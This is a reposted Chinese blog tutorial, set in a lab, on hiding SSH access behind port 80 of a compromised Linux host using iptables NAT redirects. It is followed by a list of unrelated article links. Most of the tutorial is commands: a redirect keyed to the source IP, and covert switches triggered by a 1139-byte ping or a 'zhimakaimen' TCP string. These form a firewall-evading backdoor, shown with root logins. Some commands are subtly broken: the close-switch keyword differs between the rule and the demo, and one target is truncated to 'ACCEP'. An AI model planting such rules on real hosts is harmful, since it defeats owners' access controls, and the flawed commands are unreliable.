iptables端口复用

news2024/9/22 15:45:04

环境:

攻击主机:Kali -- 192.168.218.135

目标主机:RHEL8 -- 192.168.218.129

什么是端口复用

端口复用是指不同的应用程序使用相同端口使用相同端口进行通讯。

场景

目标主机是Linux系统,目标主机防火墙有严格的限制,只允许80端口的流量进入。我们拿到了目标主机的Webshell并且拿到了SSH的账号密码。但是我们不能通过22端口远程连接,必须得利用80端口做端口复用连接。

现在我们的思路就是利用Linux的iptables防火墙的nat表的PREROUTING 链做端口复用,因为nat 表的 PREROUTING 链会在路由决策之前被处理。

方法一:根据源地址做端口复用

将来自192.168.218.135的访问80端口的流量都重定向到22端口

[root@localhost ~]# iptables -t nat -A PREROUTING -p tcp -s 192.168.218.135 --dport 80 -j REDIRECT --to-port 22

 连接目标主机的80端口将会被重定向到22端口

┌──(root㉿kali)-[~]
└─# ssh root@192.168.218.129 -p 80
The authenticity of host '[192.168.218.129]:80 ([192.168.218.129]:80)' can't be established.
ED25519 key fingerprint is SHA256:Xyl+VWFSAPsWpBdCAW3pJSxbbajvRsoVvfqXavSa6fA.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '[192.168.218.129]:80' (ED25519) to the list of known hosts.
root@192.168.218.129's password: 
Activate the web console with: systemctl enable --now cockpit.socket
​
Register this system with Red Hat Insights: insights-client --register
Create an account or view all your systems at https://red.ht/insights-dashboard
Last login: Thu Feb  2 09:10:41 2023 from 192.168.218.1
[root@localhost ~]# 

这样搞当我们访问目标主机80端口时候的所有的流量都会被转发给22端口,网页可能就打不开了哈哈。如果我们不用访问该HTTP服务的话,还行。适用于VPS连接。

方法二:利用ICMP协议做遥控开关

  1. 创建端口复用链

    [root@localhost ~]# iptables -t nat -N LETMEIN
  2. 创建端口复用规则,将流量转发给22端口

    [root@localhost ~]# iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
  3. 开启开关,如果接受到一个长为1139的ICMP包,则将源IP添加到letmein中

    [root@localhost ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1139 -m recent --set --name letmein --rsource -j ACCEPT
  4. 关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将源 IP 从 letmein 中去掉

    [root@localhost ~]# iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1140 -m recent --name letmein --remove -j ACCEP
  5. 如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

    [root@localhost ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

    开启复用,向目标发送一个长度为1111的ICMP数据包(加上IP的包头20位和ICMP包头的8位实际位数位1139)

    ┌──(root㉿kali)-[~]
    └─# ssh root@192.168.218.129
    ssh: connect to host 192.168.218.129 port 22: Connection timed out
    ​
    ┌──(root㉿kali)-[~]
    └─# ping -c 1 -s 1111 192.168.218.129
    PING 192.168.218.129 (192.168.218.129) 1111(1139) bytes of data.
    1119 bytes from 192.168.218.129: icmp_seq=1 ttl=64 time=0.826 ms
    ​
    --- 192.168.218.129 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 0.826/0.826/0.826/0.000 ms
    ​
    ┌──(root㉿kali)-[~]
    └─# ssh root@192.168.218.129 -p 80
    The authenticity of host '[192.168.218.129]:80 ([192.168.218.129]:80)' can't be established.
    ED25519 key fingerprint is SHA256:Xyl+VWFSAPsWpBdCAW3pJSxbbajvRsoVvfqXavSa6fA.
    This key is not known by any other names
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '[192.168.218.129]:80' (ED25519) to the list of known hosts.
    root@192.168.218.129's password: 
    Activate the web console with: systemctl enable --now cockpit.socket
    ​
    Register this system with Red Hat Insights: insights-client --register
    Create an account or view all your systems at https://red.ht/insights-dashboard
    Last login: Thu Feb  2 09:10:41 2023 from 192.168.218.1
    [root@localhost ~]# 

    关闭复用向目标发送一个长度为1112的ICMP数据包

    ┌──(root㉿kali)-[~]
    └─# ping -c 1 -s 1112 192.168.218.129
    PING 192.168.218.129 (192.168.218.129) 1112(1140) bytes of data.
    1120 bytes from 192.168.218.129: icmp_seq=1 ttl=64 time=0.377 ms
    
    --- 192.168.218.129 ping statistics ---
    1 packets transmitted, 1 received, 0% packet loss, time 0ms
    rtt min/avg/max/mdev = 0.377/0.377/0.377/0.000 ms

    该方法的缺点是,如果目标在内网,我们无法直接ping

方法三:利用TCP协议做遥控开关

利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网。

  1. 创建端口复用链

    [root@localhost ~]# iptables -t nat -N LETMEIN
  2. 创建端口复用规则,将流量转发给22端口

    [root@localhost ~]# iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
  3. 开启开关如果接收到一个含有zhimakaimen的TCP包,则将来源 IP 添加到加为letmein的列表中

    [root@localhost ~]# iptables -A INPUT -p tcp -m string --string 'zhimakaimen' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
  4. 关闭开关,如果接收到一个含有threathunterleaving的TCP包,则将来源 IP 从letmein的列表中移除

    [root@localhost ~]# iptables -A INPUT -p tcp -m string --string ‘threathunterleaving’ --algo bm -m recent --name letmein --remove -j ACCEPT
  5. 如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

    [root@localhost ~]# iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN

开启复用,开启后本机到目标80端口的流量将转发至目标的SSH

┌──(root㉿kali)-[~]
└─# echo zhimakaimen | socat - tcp:192.168.218.129:80

关闭复用,80端口恢复正常

──(root㉿kali)-[~]
└─# echo bagalalu | socat - tcp:192.168.218.129:80

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/196324.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【FAQ】申请运动健康服务验证环节常见问题及解答

华为 HMS Core 运动健康服务(HUAWEI Health Kit)提供原子化数据开放。应用在获取用户数据授权后,可通过接口访问运动健康数据,对用户数据进行读写等操作,为用户提供运动健康类数据服务。 开发者应用在开发和测试阶段访…

SGI STL二级空间配置器源码剖析(2)

接着上回,这节开始说allocte内存分配的实现 目录 allocate源码流程: _S_refill 的实现: _S_chunk_alloc的实现: deallocate: reallocate: 二级空间配置器的逻辑步骤:假如现在申请n个字节&…

选择计算机专业,必看的10条自学建议

选择了计算机专业,很迷茫,没事!!博主整理了关于学习计算机的十条自学经验,从各个方面阐述了如何学习计算机专业。 1、学会使用Google搜索,放弃百度,你会发现Google 会搜出更多有用的答察&#x…

车规级MCU缺货持续2年多,上海航芯持续加码市场

MCU是传统燃油车的重要芯片之一,在电动车领域,MCU也有着广泛的应用,且随着汽车电子化的持续发展,车用MCU的市场规模还将随之持续扩大,据 IC insights 数据显示,至2026年,全球车规级MCU的市场规模…

C++——函数重载,引用

✅<1>主页&#xff1a;我的代码爱吃辣 &#x1f4c3;<2>知识讲解&#xff1a;C &#x1f525;<3>创作者&#xff1a;我的代码爱吃辣 ☂️<4>开发环境&#xff1a;Visual Studio 2022 &#x1f4ac;<5>前言&#xff1a;补充C语言语法的不足&#…

【Kubernetes】记录一次K8S容器内程序OOM排查过程:unable to create new native thread

文章目录项目背景问题初现问题排查问题定位问题解决项目背景 基于k8s的容器化kafka PaaS管理平台&#xff0c;业务团队申请kafka&#xff0c;通过一系列操作&#xff0c;封装crd&#xff0c;调用operator创建集群&#xff0c;当然还包括其他功能、topic管理、group管理、监控告…

年后上来面试了13家企业软件测试岗位,面试题整理

软件测试面试&#xff0c;800多道高频面试真题&#xff0c;随便刷。&#xff08;希望能帮助大家&#xff09;项目的测试流程 1. 拿到需求文档后&#xff0c;写测试用例 2. 审核测试用例 3. 等待开发包 4. 部署测试环境 5. 冒烟测试&#xff08;网页架构图&#xff09; 6.…

CSS中height:100vh和height:100%的区别是什么?

CSS中height:100vh和height:100%的区别 首先&#xff0c;我们得知道1vh它表示的是当前屏幕可见高度的1/100&#xff0c;而1%它表示的是父元素长或者宽的1%&#xff08;可以这么理解&#xff1f;&#xff09; 1、对于设置height:100%;有下面几种情况&#xff1a; &#xff08…

如何使用Maven快速构建JavaWeb项目?在idea中使用TomCat详细解读

文章目录1. 前言2. Web项目的结构3. 创建Maven Web项目4. 在IDEA中使用TomCat4.1 集成本地TomCat4.2 使用TomCat Maven插件5. 总结&#x1f4c2;橙子精品文章学习推荐1. 前言 前面在 Web 服务器 TomCat 快速入门一文中&#xff0c;我们介绍了 Web 服务器的基本概念以及 TomCat…

工业平板电脑实现工厂自动化设备无需手动连接

随着中国经济的快速发展和材料水平的不断提高&#xff0c;制造业的竞争日益激烈&#xff0c;市场竞静力逐渐转向质量、效率和价格服务&#xff0c;制造业企业面临更大的挑战&#xff0c;数据转型迫在眉睫。对工业平板电脑的需求也在增加&#xff0c;面向行业的工业平板电脑已成…

Java设计模式--工厂模式

目录 1.简单工厂模式 1.1类图 1.2 代码示例 2.工厂方法模式 2.1 类图 2.2 代码示例 3.抽象工厂模式 3.1 类图 3.2 代码示例 实际应用&#xff1a; 总结&#xff1a; 1.简单工厂模式 定义了一个创建对象的类&#xff0c;由这个类来封装实力化对象的行为。 1.1类图 1.…

《三体》中罗辑所说的定位行星的位置,是怎样实现的?

最近流浪地球2&#xff0c;三体电视剧火得一塌糊涂&#xff0c;《三体》中罗辑用咒语标记了三体星系位置&#xff0c;利用黑暗森林理论与三体人对峙长达两百年&#xff0c;那么这种定位技术在现实中是否存在呢&#xff1f;咒语标记三体星系位置这件事&#xff0c;听起来很玄乎但…

vite兼容chrome48的方法

chrome48不支持async await语法&#xff0c;但有些桌面客户端的内嵌浏览器就是chrome48,如下操作即可兼容 当前环境&#xff1a;2023-2-3使用npm create vitelatest创建 开始兼容操作 安装vite推荐的 vitejs/plugin-legacy 文档官网 https://github.com/vitejs/vite/tree/m…

【JavaEE】HTTP的方法、报头、状态码

✨哈喽&#xff0c;进来的小伙伴们&#xff0c;你们好耶&#xff01;✨ &#x1f6f0;️&#x1f6f0;️系列专栏:【JavaEE】 ✈️✈️本篇内容:http请求的方法、报头&#xff1b;状态码&#xff01; &#x1f680;&#x1f680;代码存放仓库gitee&#xff1a;JavaEE代码&#…

学习QCustomPlot【4】库官方examples之plots解读

文章目录一、前言二、案例解说0&#xff1a;Quadratic Demo【二次曲线demo】1、Simple Demo【简单demo】2、Sinc Scatter Demo【Sinc函数散点demo】3、Scatter Style Demo【散点样式demo】4、Line Style Demo【线型demo】5、Scatter Pixmap Demo【图标散点demo】6、Date Demo【…

RANSAC的实现与应用

一、前言RANSAC(Random Sample Consensus)算法并不陌生&#xff0c;在上一篇博客中&#xff08;基于SIFT的图像Matlab拼接教程&#xff09;也提到过&#xff0c;之前代码中也多次用过&#xff0c;其在直(曲)线拟合、特征匹配、过滤外点(Outlier)等领域有着重要的应用。RANSAC出…

线性代数之线性基

在谈论线性基之前,先介绍什么是基向量. 根据高中数学,一个二维直角平面坐标系中的所有向量都可以只用(0, 1)和(1, 0)合成.那么(0, 1)和(1, 0)就是基向量,所有基向量能合成的所有向量被称为基向量的张成空间. 在二维空间中,有没有其他的向量能作为基向量呢?答案是肯定的. 上图…

Oracle事務簡述

簡述本文主要介紹內容有事務的隔離級別&#xff0c;oracle支持的事務隔離級別&#xff0c;事務的提交與回滾&#xff0c;保存點內容事務的ACID特征介紹事務繞不過事務的ACID四個特征&#xff0c;這裡簡單回顧以下原子性&#xff08;Atomicity&#xff09;事務的執行要麼全部成功…

广义霍夫变换和模板匹配的不同

简述说到霍夫变换&#xff0c;做图像的知道经典霍夫变换最常用于检测规则曲线&#xff0c;如直线、圆、椭圆等。而广义霍夫变换是为了检出那些无法写出解析式的不规则形状&#xff0c;虽然在深度学习大行其道的时代&#xff0c;霍夫变换也还是有很多应用场景&#xff0c;另外广…

2023年黑马Java入门到精通教程--面向对象

推荐教程&#xff1a;java零基础入门到精通 面向对象编程的例子 设计类&#xff0c;创建对象并使用 1. 类和对象是什么&#xff1f; 类&#xff1a;是共同特征的描述(设计图)&#xff1b;对象&#xff1a;是真实存在的具体实例。 2. 如何设计类&#xff1f; 3. 如何创建对象…